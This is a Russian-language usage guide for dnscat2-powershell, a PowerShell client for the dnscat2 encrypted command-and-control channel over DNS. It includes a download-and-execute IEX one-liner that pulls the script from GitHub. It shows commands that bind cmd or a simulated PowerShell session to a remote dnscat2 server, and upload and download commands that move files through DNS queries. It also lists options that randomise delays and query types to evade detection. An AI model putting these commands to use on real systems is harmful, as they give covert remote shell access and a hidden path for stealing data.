
Клиент PowerShell для dnscat2, зашифрованного инструмента управления и контроля через DNS.
dnscat2 — это инструмент для скрытого канала DNS от @iagox86 (Ron Bowes), используемый для передачи данных через DNS-запросы.
Это версия PowerShell C-клиента dnscat2.
Нажмите здесь для статьи в блоге, в которой дается более подробное описание цели этого сценария и способов его использования.
Для использования этого сценария вам понадобится Ruby сервер dnscat2. Обязательно добавьте опцию --no-cache при запуске сервера. Этот клиент несовместим с кэшированием сервера.
Сначала установите сервер dnscat2. Запустите сервер с отключенным кэшированием, используя --no-cache. Команда для запуска сервера должна выглядеть примерно так: ruby dnscat2.rb --dns="domain=example.com" --no-cache
Затем запустите Windows PowerShell (версия 2.0 или выше). Вы можете использовать эту команду для загрузки функций PowerShell dnscat2:
IEX (New-Object System.Net.Webclient).DownloadString('https://raw.githubusercontent.com/lukebaggett/dnscat2-powershell/master/dnscat2.ps1')
Start-Dnscat2 — это основная функция, используемая в качестве клиента. Укажите сервер dnscat2 с помощью -Domain.
Запустить командную сессию и отправлять DNS-запросы на 8.8.8.8 порт 53:
Start-Dnscat2 -Domain <сервер dnscat2> -DNSServer 8.8.8.8
Запустить оболочку cmd и отправлять DNS-запросы на DNS-сервер по умолчанию, установленный в Windows:
Start-Dnscat2 -Domain <сервер dnscat2> -Exec cmd
Запустить консольную сессию. Использовать только запросы CNAME, MX и AAAA:
Start-Dnscat2 -Domain <сервер dnscat2> -LookupTypes @("CNAME","MX","AAAA") -Console
Не шифровать сессию. Шифрование включено по умолчанию.
Start-Dnscat2 -Domain <сервер dnscat2> -NoEncryption
Клиент может обрабатывать обычные команды dnscat2 или версию PowerShell этой команды. Чтобы использовать версию PowerShell команды, задайте определенные параметры, которые клиент обнаружит (это команды, выполняемые из командной сессии на сервере):
Запустить новую сессию, которая симулирует оболочку PowerShell, как ExecPS:
exec psh
Загрузить app.exe на сервер в виде шестнадцатеричной строки, хранящейся в переменной PowerShell $app:
upload app.exe hex:$app
Скачать массив байтов, хранящийся в переменной PowerShell $app, в файл app.exe на сервере:
download bytes:$app app.exe
-Domain <String> Домен, используемый сервером dnscat2.
-DNSServer <String> Имя хоста или IP-адрес для отправки DNS-запросов. (По умолчанию: установлено Windows)
-DNSPort <Int32> Порт для отправки DNS-запросов. (По умолчанию: 53)
-Command Запустить командную сессию. (По умолчанию)
-Exec <String> Связать ввод/вывод процесса с сессией Dnscat2.
-Console Связать ввод/вывод консоли с сессией Dnscat2.
-ExecPS Симулировать сессию PowerShell и связать ввод/вывод с сессией Dnscat2.
ПРЕДУПРЕЖДЕНИЕ: Выход приведет к завершению всего клиента dnscat2, а не только сессии.
-PreSharedSecret Установить тот же секрет на сервере для аутентификации и предотвращения MITM.
-NoEncryption Не использовать шифрование.
-LookupTypes <String[]> Установить массив типов запросов для случайного переключения.
Поддерживаются только записи TXT, MX, CNAME, A и AAAA. По умолчанию: @(TXT, MX, CNAME)
-Delay <Int32> Установить задержку между запросами в миллисекундах. (По умолчанию: 0)
-MaxRandomDelay <Int32> Установить максимальное значение случайной задержки, добавляемой к обычной задержке, в миллисекундах. (По умолчанию: 0)
-MaxPacketSize <Int32> Максимальная длина пакета dnscat2. (По умолчанию: 240)
-Name <String> Имя вашей сессии dnscat2. (По умолчанию: имя хоста)
dnscat2-powershell симулирует сессию PowerShell, передавая данные с сервера в Invoke-Expression. Возвращается только stdout, а переменные сохраняются, пока клиент работает. Остерегайтесь команд, завершающих PowerShell, таких как "exit" и "break", потому что весь клиент dnscat2-powershell завершится, а не только сессия ExecPS.